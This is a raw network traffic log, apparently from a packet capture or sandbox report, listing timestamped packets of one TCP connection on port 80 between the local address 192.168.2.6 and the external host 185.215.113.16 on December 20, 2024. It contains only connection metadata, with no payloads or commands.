Dec 20, 2024 17:17:45.372145891 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.372356892 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.372472048 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.373006105 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.373131990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.373172998 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.374111891 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.374159098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.374244928 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.375288010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.375406027 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.375453949 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.376379967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.376486063 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.376593113 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.377526045 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.377614021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.377659082 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.378506899 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.378577948 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.378632069 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.379633904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.379872084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.379920959 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.380661964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.380893946 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.380934954 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.381767035 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.381882906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.381937027 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.382874966 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.383037090 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.383093119 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.383984089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.384166002 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.384227991 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.385024071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.385195971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.385246992 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.386153936 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.386343956 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.386385918 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.387222052 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.387281895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.387399912 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.388396025 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.388524055 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.388569117 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.389420986 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.389492989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.389540911 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.390543938 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.390688896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.390729904 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.391846895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.392018080 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.392055988 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.393065929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.393282890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.393331051 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.394228935 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.394553900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.394598007 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.394999981 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.395061970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.395118952 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.395968914 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.396003008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.396047115 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.397017956 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.397182941 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.397217035 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.398103952 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.398158073 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.398200035 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.399348974 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.399462938 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.399931908 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.400309086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.400371075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.400556087 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.401422024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.401536942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.401582956 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.402458906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.402601004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.402726889 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.403639078 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.403692961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.403739929 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.404771090 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.404898882 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.404973984 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.405766010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.405922890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.405965090 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.406899929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.407006979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.407056093 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.408051014 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.408221006 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.408260107 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.409357071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.409451008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.409502029 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.410439968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.410482883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.410536051 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.411531925 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.411674976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.411737919 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.412755013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.412836075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.412939072 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.414057016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.414155006 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.414196968 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.415194035 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.415287018 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.415410042 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.416280985 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.416371107 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.416416883 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.417399883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.417484999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.417530060 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.418453932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.418503046 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.418555021 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.419678926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.419785023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.419836998 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.420682907 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.420845032 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.420887947 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.421789885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.421921015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.421967030 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.422899961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.423038006 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.423078060 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.423867941 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.423913956 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.423955917 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.425110102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.425213099 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.425307989 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.426029921 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.426081896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.426132917 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.427004099 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.427170992 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.427218914 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.428327084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.428530931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.428575039 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.429439068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.429579973 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.429645061 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.430447102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.430610895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.430661917 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.431418896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.431560993 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.431602955 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.432240963 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.432369947 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.432419062 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.433300972 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.433429003 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.433495998 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.434580088 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.434689999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.434732914 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.435534000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.435586929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.435630083 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.436377048 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.436670065 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.436743021 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.437462091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.437623978 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.437674046 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.438503981 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.438679934 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.438726902 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.439595938 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.439663887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.439723015 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.440723896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.440866947 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.440916061 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.441790104 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.441883087 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.442012072 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.442873001 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.443053007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.443088055 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.443958998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.444094896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.444209099 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.445030928 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.445113897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.445152044 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.446129084 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.446239948 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.446283102 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.447213888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.447348118 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.447388887 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.448307037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.448399067 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.448445082 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.449557066 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.449594975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.449630976 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.450484037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.495496988 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.755575895 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.875185013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.875278950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.875392914 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.875569105 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.875720978 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.875766039 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.876367092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.876533031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.876894951 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.877068043 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.877896070 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.877912045 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.877973080 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.878015995 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.878681898 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.878712893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.878725052 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.878746986 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.879453897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.879581928 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.879620075 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.880208969 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.880979061 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.880990982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.881031990 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.881099939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.881567955 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.881736040 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.881844997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.881885052 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.882503033 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.882999897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.883268118 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.883305073 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.883693933 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.883730888 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.884041071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.884140015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.884330988 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.885310888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.885435104 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.885474920 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.885639906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.885651112 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.885682106 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.886535883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.887268066 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.887290001 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.887304068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.887336969 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.887336969 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.887928009 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.888045073 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.888088942 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.888679028 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.888761044 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.888928890 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.889523029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.890266895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.890273094 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.890321970 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.890340090 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.890371084 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.891017914 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.891031027 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.891064882 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.891753912 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.891841888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.891952038 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.892544031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.892612934 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.892683983 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.893281937 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.893424988 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.893460989 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.894092083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.894548893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.894620895 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.894893885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.894907951 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.894947052 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.895652056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.895762920 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.895854950 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.896543026 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.896632910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.896666050 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.897417068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.897536039 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.897577047 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.898128033 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.898365974 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.898467064 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.899029016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.899084091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.899117947 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.899765968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.899843931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.900477886 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.900515079 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.900727034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.900860071 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.901047945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.901158094 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.901261091 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.901882887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.902034044 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.902065992 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.902662039 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.902674913 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.902718067 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.903343916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.903588057 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.903631926 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.904104948 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.904364109 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.904403925 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.904863119 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.905432940 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:45.905509949 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:45.905683994 CET	80	49809	185.215.113.16	192.168.2.6
